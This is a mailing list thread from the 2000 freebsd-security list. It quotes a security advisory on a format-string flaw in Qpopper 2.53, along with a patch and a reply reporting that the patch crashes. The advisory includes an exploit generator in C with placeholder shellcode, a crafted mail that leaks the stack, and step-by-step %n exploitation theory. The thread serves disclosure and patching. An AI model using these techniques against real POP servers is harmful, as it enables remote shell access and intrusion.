From owner-freebsd-security Wed May 24 14:45:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from xkis.kis.ru (xkis.kis.ru [195.98.32.200]) by hub.freebsd.org (Postfix) with ESMTP id AD9F937BD9B for ; Wed, 24 May 2000 14:45:35 -0700 (PDT) (envelope-from dv@dv.ru) Received: from localhost (dv@localhost) by xkis.kis.ru (8.9.3/8.9.3) with ESMTP id BAA04342; Thu, 25 May 2000 01:45:25 +0400 (MSD) Date: Thu, 25 May 2000 01:45:25 +0400 (MSD) From: Dmitry Valdov X-Sender: dv@xkis.kis.ru To: Jeremy Shaffner Cc: freebsd-security@FreeBSD.ORG Subject: Re: QPOPPER: Remote gid mail exploit In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=KOI8-R Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi! This patch doesn't work. popper exiting with sig11 when user send UIDL xxx command. Dmitry. On Wed, 24 May 2000, Jeremy Shaffner wrote: > Date: Wed, 24 May 2000 16:40:00 -0500 (CDT) > From: Jeremy Shaffner > To: freebsd-security@FreeBSD.ORG > Subject: QPOPPER: Remote gid mail exploit > > > [Patch is at the end] > > Here is the original advisory. Note that the actual advisory is > correct WRT the file and line numbers. The posts on Bugtraq indicate to > patch pop_msg.c instead of pop_uidl.c. > > > ------>8---------- > > _____________________________________________________________________ > b u f f e r 0 v e r f l 0 w s e c u r i t y a d v i s o r y # 5 > > > Advisory Name: Remote shell via Qpopper2.53 > Date: 5/23/00 > Application: Qpopper 2.53 for *NIX > Vendor: Qualcomm Incorporated > WWW: www.qualcomm.com > Severity: can give users remote > shell with gid=mail. > Author: prizm (prizm@resentment.org) > Homepage: b0f.freebsd.lublin.pl > > > * Overview > Qpopper is the most widely-used server for the POP3 protocol. This allows users to > access their mail using any POP3 client. Qpopper supports the latest standards, > and includes a large number of optional features. Qpopper is normally used with > standard UNIX mail transfer and delivery agents such as sendmail or smail. > > > > * The Problem > Yes, Qpop, again and again... > There is a bug in version 2.53 of Qpop that can give you a remote > shell with gid=mail. Problem is with euidl command which uses user input as > format string for pop_msg() function. > Lets examine following code from Qpop 2.53 source: > --> pop_uidl.c, around line 150: > ................ > sprintf(buffer, "%d %s", msg_id, mp->uidl_str); > if (nl = index(buffer, NEWLINE)) *nl = 0; > sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp)); > ! return (pop_msg (p,POP_SUCCESS, buffer)); > ^^^^^^^^^^^^^ > ................. > Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int stat, > const char *format,...), and here we have user-input as format string. Lame. > Ok, back to problem, imagine following smtp session: > > MAIL FROM: > 200 Ok > RCPT TO: > 200 Ok > data > 200 Okey, okey. end with "." > Subject: still trust qpop?=/ > X-UIDL: AAAAAAAAAAAAAAAA > From: %p%p%p%p%p%p%p > > test > . > 200 BLABLABLA Ok, message accepted for delivery. > > Then, luser connects with his pop account and runs euidl command there: > +OK QPOP (version 2.53) at b0f starting. <666.666@b0f> > USER luser > +OK Password required for luser. > PASS secret > +OK luser has 3 messages (1644 octets). > euidl 3 > +OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028 > > Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p%p > where implemented as arguments for vsnprintf() command. > > * Exploiting > Is this possible? Yeah, sure! > But there are some limits. Qpopper2.53 from FreeBSD ports with patches is > much more difficult to exploit than one from linux. It is because freebsd > patches change vsprintf() call in pop_msg.c to vsnprintf() call, and there is > big difference between them. Qpopper with FreeBSD's patches IS exploitable. > > Exploit > ------- > /* qpop_euidl.c exploit by prizm/Buffer0verflow Security > * > * Sample exploit for buffer overflow in Qpopper 2.53. > * This little proggie generates a mail u need to send. > * > * Standard disclaimer applies. > * By the way, exploit is broken =) You need to insert shellcode. > * > * MAD greets to tf8 for pointing out the bug, and all other b0f members. > * greets to USSRLabs and ADM > * check http://b0f.freebsd.lublin.pl/ for news. > */ > #include > #include > > char shellcode[]="imnothing"; > int main(int argc, char *argv[]) > { > int i; > unsigned long ra=0; > if(argc!=2) { > fprintf(stderr,"Usage: %s return_addr\n", argv[0]); > exit(0); > } > sscanf(argv[1], "%x", &ra); > if(!ra) > return; > if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) { > fprintf(stderr,"Bad shellcode\n"); > exit(0); > } > fprintf(stderr,"return address: 0x%.8x\n", ra); > printf("X-UIDL: "); > for(i=0; i < sizeof(shellcode);i++) > printf("%c", shellcode[i]); > printf("\r\n"); > printf("From: %s", "%.1000d"); > for(i=0; i < 50; i++) > printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24); > printf("@test\r\n"); > printf("Subject: test\r\n\r\nhuh?\r\n.\r\n"); > return 0; > } > > Exploiting QPOP from FreeBSD ports > ---------------------------------- > > It is NOT easy, because vsprintf() is replaced with vsnprintf() so we can't > overflow stack, but we still have control over it (remeber %n?). > Im not going to post exploit for this because it is really generic, but I > will explain theory on exploiting qpop with vsNprintf. > There is an little trick with %n YOu should know. Try to understand why > folowing code succeeds and prints out 2000, not sizeof(b): > ------ > #include > int main(void){ > int s=1; char b[1024]; int q; > snprintf(b, sizeof(b), "%.2000d%n", 1, &q); > return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES")); > } > ------ > On my box with FreeBSD 3.4 i have: > 2000, overflowed? NO > > Hah, first time i expected to see 1024, but YOu know that all is > unpredictable . So, this little thing will help us a lot. > Exploiting it: > a) Find where in stack is located user input. > b) Compose a message with filed X-UIDL and From: > X-UIDL: ppRETARETARETARETA > From: %.RETURNd%n@test > where: > "pp" is for padding (two or three chars) > "RETA" is return address pointing to SHELLCODE > "SHELLCODE" guess > "RETURN" return address > > c) Exploit? If you need an exploit that will work on FreeBSD, code it yourself. > > > > * Vulnerable Versions > 2.53(Others?) > > > * Fix > You can download Qpopper 3.1 at http://www.eudora.com/freeware/qpop.html#CURRENT which > is not vulnerable to this problem. > > Or you can manually patch it by doing the following: > > At lines 152 and 62 from pop_uidl.c, replace: > - return (pop_msg (p,POP_SUCCESS, buffer)); > to: > + return (pop_msg (p,POP_SUCCESS, "%s", buffer)); > > > > > > copyright © 1999-2000 > prizm, buffer0verfl0w security > b0f.freebsd.lublin.pl > > > ---------->8------------ > > > Here is the resulting patch: > > > ---------8<-------- > > --- pop_uidl.c.orig Wed May 24 15:58:53 2000 > +++ pop_uidl.c Wed May 24 16:21:56 2000 > @@ -59,7 +59,7 @@ > > sprintf(buffer, "%d %s", msg_id, mp->uidl_str); > if (nl = index(buffer, NEWLINE)) *nl = 0; > - return (pop_msg (p,POP_SUCCESS, buffer)); > + return (pop_msg (p,POP_SUCCESS, "%s", buffer)); > } > } else { > /* yes, we can do this */ > @@ -149,7 +149,7 @@ > sprintf(buffer, "%d %s", msg_id, mp->uidl_str); > if (nl = index(buffer, NEWLINE)) *nl = 0; > sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, > mp)); > - return (pop_msg (p,POP_SUCCESS, buffer)); > + return (pop_msg (p,POP_SUCCESS, "%s", buffer)); > } > } else { > /* yes, we can do this */ > > ------->8---------- > > > > --- > Jeremy Shaffner > System Administrator > JORSM Internet > jer@jorsm.com > http://www.jorsm.com/~jer/pgp.key > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message